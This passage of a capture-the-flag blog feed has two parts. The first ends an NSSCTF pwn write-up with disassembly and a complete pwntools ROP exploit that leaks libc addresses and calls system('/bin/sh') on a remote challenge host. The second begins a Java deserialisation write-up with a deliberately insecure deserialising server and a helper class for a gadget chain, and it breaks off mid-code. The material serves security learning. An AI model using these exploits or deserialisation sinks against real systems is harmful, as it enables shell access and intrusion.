class="symbol">.text:</span>00000000004009E7</span><br><span class="line"><span class="symbol">.text:</span>00000000004009E7 loc_4009E7:                             <span class="comment">; CODE XREF: encrypt+12B↓j</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009E7                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>00000000004009ED                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009EF                 <span class="keyword">movzx</span>   <span class="built_in">eax</span>, [<span class="built_in">rbp</span>+<span class="built_in">rax</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>00000000004009F4                 <span class="keyword">cmp</span>     <span class="built_in">al</span>, <span class="number">60h</span> <span class="comment">; &#x27;`&#x27;</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009F6                 <span class="keyword">jle</span>     short loc_400A27</span><br><span class="line"><span class="symbol">.text:</span>00000000004009F8                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>00000000004009FE                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A00                 <span class="keyword">movzx</span>   <span class="built_in">eax</span>, [<span class="built_in">rbp</span>+<span class="built_in">rax</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A05                 <span class="keyword">cmp</span>     <span class="built_in">al</span>, <span class="number">7Ah</span> <span class="comment">; &#x27;z&#x27;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A07                 <span class="keyword">jg</span>      short loc_400A27</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A09 <span class="comment">; 30:       s[x] ^= 0xEu;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A09                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A0F                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A15                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="built_in">edx</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A17                 <span class="keyword">movzx</span>   <span class="built_in">edx</span>, [<span class="built_in">rbp</span>+<span class="built_in">rdx</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A1C                 <span class="keyword">xor</span>     <span class="built_in">edx</span>, <span class="number">0Eh</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A1F                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A21                 <span class="keyword">mov</span>     [<span class="built_in">rbp</span>+<span class="built_in">rax</span>+s], <span class="built_in">dl</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A25                 <span class="keyword">jmp</span>     short loc_400AA5</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A27 <span class="comment">; ---------------------------------------------------------------------------</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A27 <span class="comment">; 18:       if ( s[x] &lt;= 64 || s[x] &gt; 90 )</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A27</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A27 loc_400A27:                             <span class="comment">; CODE XREF: encrypt+56↑j</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A27                                         <span class="comment">; encrypt+67↑j</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A27                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A2D                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A2F                 <span class="keyword">movzx</span>   <span class="built_in">eax</span>, [<span class="built_in">rbp</span>+<span class="built_in">rax</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A34                 <span class="keyword">cmp</span>     <span class="built_in">al</span>, <span class="number">40h</span> <span class="comment">; &#x27;@&#x27;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A36                 <span class="keyword">jle</span>     short loc_400A67</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A38                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A3E                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A40                 <span class="keyword">movzx</span>   <span class="built_in">eax</span>, [<span class="built_in">rbp</span>+<span class="built_in">rax</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A45                 <span class="keyword">cmp</span>     <span class="built_in">al</span>, <span class="number">5Ah</span> <span class="comment">; &#x27;Z&#x27;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A47                 <span class="keyword">jg</span>      short loc_400A67</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A49 <span class="comment">; 25:         s[x] ^= 0xDu;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A49                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A4F                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A55                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="built_in">edx</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A57                 <span class="keyword">movzx</span>   <span class="built_in">edx</span>, [<span class="built_in">rbp</span>+<span class="built_in">rdx</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A5C                 <span class="keyword">xor</span>     <span class="built_in">edx</span>, <span class="number">0Dh</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A5F                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A61                 <span class="keyword">mov</span>     [<span class="built_in">rbp</span>+<span class="built_in">rax</span>+s], <span class="built_in">dl</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A65                 <span class="keyword">jmp</span>     short loc_400AA5</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A67 <span class="comment">; ---------------------------------------------------------------------------</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A67 <span class="comment">; 20:         if ( s[x] &gt; 47 &amp;&amp; s[x] &lt;= 57 )</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A67</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A67 loc_400A67:                             <span class="comment">; CODE XREF: encrypt+96↑j</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A67                                         <span class="comment">; encrypt+A7↑j</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A67                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A6D                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A6F                 <span class="keyword">movzx</span>   <span class="built_in">eax</span>, [<span class="built_in">rbp</span>+<span class="built_in">rax</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A74                 <span class="keyword">cmp</span>     <span class="built_in">al</span>, <span class="number">2Fh</span> <span class="comment">; &#x27;/&#x27;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A76                 <span class="keyword">jle</span>     short loc_400AA5</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A78                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A7E                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A80                 <span class="keyword">movzx</span>   <span class="built_in">eax</span>, [<span class="built_in">rbp</span>+<span class="built_in">rax</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A85                 <span class="keyword">cmp</span>     <span class="built_in">al</span>, <span class="number">39h</span> <span class="comment">; &#x27;9&#x27;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A87                 <span class="keyword">jg</span>      short loc_400AA5</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A89 <span class="comment">; 21:           s[x] ^= 0xCu;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A89                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A8F                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A95                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="built_in">edx</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A97                 <span class="keyword">movzx</span>   <span class="built_in">edx</span>, [<span class="built_in">rbp</span>+<span class="built_in">rdx</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400A9C                 <span class="keyword">xor</span>     <span class="built_in">edx</span>, <span class="number">0Ch</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400A9F                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AA1                 <span class="keyword">mov</span>     [<span class="built_in">rbp</span>+<span class="built_in">rax</span>+s], <span class="built_in">dl</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AA5 <span class="comment">; 32:     ++x;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AA5</span><br><span class="line"><span class="symbol">.text:</span>0000000000400AA5 loc_400AA5:                             <span class="comment">; CODE XREF: encrypt+85↑j</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AA5                                         <span class="comment">; encrypt+C5↑j ...</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AA5                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400AAB                 <span class="keyword">add</span>     <span class="built_in">eax</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AAE                 <span class="keyword">mov</span>     <span class="built_in">cs</span>:x, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AB4 <span class="comment">; 13:     v0 = (unsigned int)x;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AB4</span><br><span class="line"><span class="symbol">.text:</span>0000000000400AB4 loc_400AB4:                             <span class="comment">; CODE XREF: encrypt+42↑j</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AB4                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">cs</span>:x</span><br><span class="line"><span class="symbol">.text:</span>0000000000400ABA <span class="comment">; 11:   while ( 1 )</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400ABA                 <span class="keyword">mov</span>     <span class="built_in">ebx</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400ABC <span class="comment">; 14:     if ( v0 &gt;= strlen(s) )</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400ABC                 <span class="keyword">lea</span>     <span class="built_in">rax</span>, [<span class="built_in">rbp</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400AC0                 <span class="keyword">mov</span>     <span class="built_in">rdi</span>, <span class="built_in">rax</span>        <span class="comment">; s</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AC3                 <span class="keyword">call</span>    _strlen</span><br><span class="line"><span class="symbol">.text:</span>0000000000400AC8 <span class="comment">; 15:       break;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AC8                 <span class="keyword">cmp</span>     <span class="built_in">rbx</span>, <span class="built_in">rax</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400ACB                 <span class="keyword">jb</span>      loc_4009E7</span><br><span class="line"><span class="symbol">.text:</span>0000000000400AD1 <span class="comment">; 34:   puts(&quot;Ciphertext&quot;);</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AD1                 <span class="keyword">mov</span>     <span class="built_in">edi</span>, offset aCiphertext <span class="comment">; &quot;Ciphertext&quot;</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AD6                 <span class="keyword">call</span>    _puts</span><br><span class="line"><span class="symbol">.text:</span>0000000000400ADB <span class="comment">; 35:   return puts(s);</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400ADB                 <span class="keyword">lea</span>     <span class="built_in">rax</span>, [<span class="built_in">rbp</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>0000000000400ADF                 <span class="keyword">mov</span>     <span class="built_in">rdi</span>, <span class="built_in">rax</span>        <span class="comment">; s</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AE2                 <span class="keyword">call</span>    _puts</span><br><span class="line"><span class="symbol">.text:</span>0000000000400AE7                 <span class="keyword">nop</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AE8                 <span class="keyword">add</span>     <span class="built_in">rsp</span>, <span class="number">48h</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AEC                 <span class="keyword">pop</span>     <span class="built_in">rbx</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AED                 <span class="keyword">pop</span>     <span class="built_in">rbp</span></span><br><span class="line"><span class="symbol">.text:</span>0000000000400AEE                 <span class="keyword">retn</span></span><br></pre></td></tr></table></figure><p>libc6_2.23-0ubuntu11.3_amd64</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">22814</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">sl(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">offset = <span class="number">0x50</span> + <span class="number">8</span></span><br><span class="line"></span><br><span class="line">payload1 = flat([cyclic(offset),rdi,elf.got[<span class="string">&#x27;puts&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>],<span class="number">0x4009A0</span>])</span><br><span class="line">sl(payload1)</span><br><span class="line">rl(<span class="string">&#x27;Ciphertext\n&#x27;</span>)</span><br><span class="line">rl(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">puts = u64(p.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">success(<span class="string">&quot;put: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(puts))</span><br><span class="line"></span><br><span class="line">payload1 = flat([cyclic(offset),rdi,elf.got[<span class="string">&#x27;gets&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>],<span class="number">0x4009A0</span>])</span><br><span class="line">sl(payload1)</span><br><span class="line">rl(<span class="string">&#x27;Ciphertext\n&#x27;</span>)</span><br><span class="line">rl(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">gets = u64(p.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">success(<span class="string">&quot;gets: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(gets))</span><br><span class="line"></span><br><span class="line"><span class="comment"># libc = LibcSearcher(&#x27;puts&#x27;,puts)</span></span><br><span class="line"></span><br><span class="line">libc_base = puts - <span class="number">0x6f6a0</span></span><br><span class="line">system = <span class="number">0x453a0</span> + libc_base</span><br><span class="line">str_bin_sh = <span class="number">0x18ce57</span> + libc_base</span><br><span class="line">payload2 = flat([cyclic(offset),ret,rdi,str_bin_sh,system])</span><br><span class="line">sl(payload2)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;NSSCTF刷题记录&quot;&gt;&lt;a href=&quot;#NSSCTF刷题记录&quot; class=&quot;headerlink&quot; title=&quot;NSSCTF刷题记录&quot;&gt;&lt;/a&gt;NSSCTF刷题记录&lt;/h1&gt;&lt;h2 id=&quot;11-9&quot;&gt;&lt;a href=&quot;#11-9&quot; class=&quot;head</summary>
      
    
    
    
    
    <category term="pwn" scheme="https://www.n1ght.cn/tags/pwn/"/>
    
  </entry>
  
  <entry>
    <title>SHCTF-ezjava</title>
    <link href="https://www.n1ght.cn/2024/11/09/SHCTF-ezjava/"/>
    <id>https://www.n1ght.cn/2024/11/09/SHCTF-ezjava/</id>
    <published>2024-11-09T10:00:00.000Z</published>
    <updated>2024-11-09T13:57:31.224Z</updated>
    
    <content type="html"><![CDATA[<p>链尾来自于avss geekcon2024的old log，查找到一个链子去通往他，但是实例化成功了，无法查遍了Format都无法控制参数，于是手动patch了一个继承Format类使他的parseObject可控。</p><p>用codeql查询到漏洞利用链的过程就省略了</p><p>有反序列化，有springboot的jar包</p><h2 id="测试环境"><a href="#测试环境" class="headerlink" title="测试环境"></a>测试环境</h2><p><img src="https://raw.githubusercontent.com/yezere/images/master/image-20241108144745-7zqot2v.png" alt="image-20241108144745-7zqot2v"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.net.httpserver.HttpServer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.InitialContext;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">var</span> <span class="variable">port</span> <span class="operator">=</span> Integer.parseInt(System.getenv().getOrDefault(<span class="string">&quot;PORT&quot;</span>, <span class="string">&quot;8000&quot;</span>));</span><br><span class="line">        <span class="type">var</span> <span class="variable">server</span> <span class="operator">=</span> HttpServer.create(<span class="keyword">new</span> <span class="title class_">java</span>.net.InetSocketAddress(port), <span class="number">0</span>);</span><br><span class="line">        server.createContext(<span class="string">&quot;/&quot;</span>, req -&gt; &#123;</span><br><span class="line">            <span class="type">var</span> <span class="variable">code</span> <span class="operator">=</span> <span class="number">200</span>;</span><br><span class="line">            <span class="type">var</span> <span class="variable">response</span> <span class="operator">=</span> <span class="keyword">switch</span> (req.getRequestURI().getPath()) &#123;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&quot;/der&quot;</span> -&gt; &#123;</span><br><span class="line">                    <span class="keyword">try</span> &#123;</span><br><span class="line">                        <span class="type">var</span> <span class="variable">param</span> <span class="operator">=</span> req.getRequestURI().getQuery();</span><br><span class="line">                        <span class="keyword">yield</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.ObjectInputStream(<span class="keyword">new</span> <span class="title class_">java</span>.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();</span><br><span class="line">                    &#125; <span class="keyword">catch</span> (Throwable e) &#123;</span><br><span class="line">                        e.printStackTrace();</span><br><span class="line">                        <span class="keyword">yield</span> <span class="string">&quot;:(&quot;</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">default</span> -&gt; &#123;</span><br><span class="line">                    code = <span class="number">404</span>;</span><br><span class="line">                    <span class="keyword">yield</span> <span class="string">&quot;Not found&quot;</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;;</span><br><span class="line">            req.sendResponseHeaders(code, <span class="number">0</span>);</span><br><span class="line">            <span class="type">var</span> <span class="variable">os</span> <span class="operator">=</span> req.getResponseBody();</span><br><span class="line">            os.write(response.getBytes());</span><br><span class="line">            os.close();</span><br><span class="line">        &#125;);</span><br><span class="line">        server.start();</span><br><span class="line">        System.out.printf(<span class="string">&quot;Server listening on :%s\n&quot;</span>, port);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中我加了一个类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by FernFlower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> com.n1ght;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.text.FieldPosition;</span><br><span class="line"><span class="keyword">import</span> java.text.Format;</span><br><span class="line"><span class="keyword">import</span> java.text.ParsePosition;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">StringFormat</span> <span class="keyword">extends</span> <span class="title class_">Format</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> String str;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">StringFormat</span><span class="params">(String str)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.str = str;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> StringBuffer <span class="title function_">format</span><span class="params">(Object obj, StringBuffer toAppendTo, FieldPosition pos)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> (StringBuffer)obj;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">parseObject</span><span class="params">(String source, ParsePosition pos)</span> &#123;</span><br><span class="line">        pos.setIndex(<span class="number">1</span>);</span><br><span class="line">        <span class="keyword">return</span> source;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当parseObject的时候返回任意字符串的值</p><h2 id="链子分析"><a href="#链子分析" class="headerlink" title="链子分析"></a>链子分析</h2><p>InternationalFormatter#readObject</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Serial</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(ObjectInputStream s)</span></span><br><span class="line">    <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">    s.defaultReadObject();</span><br><span class="line">  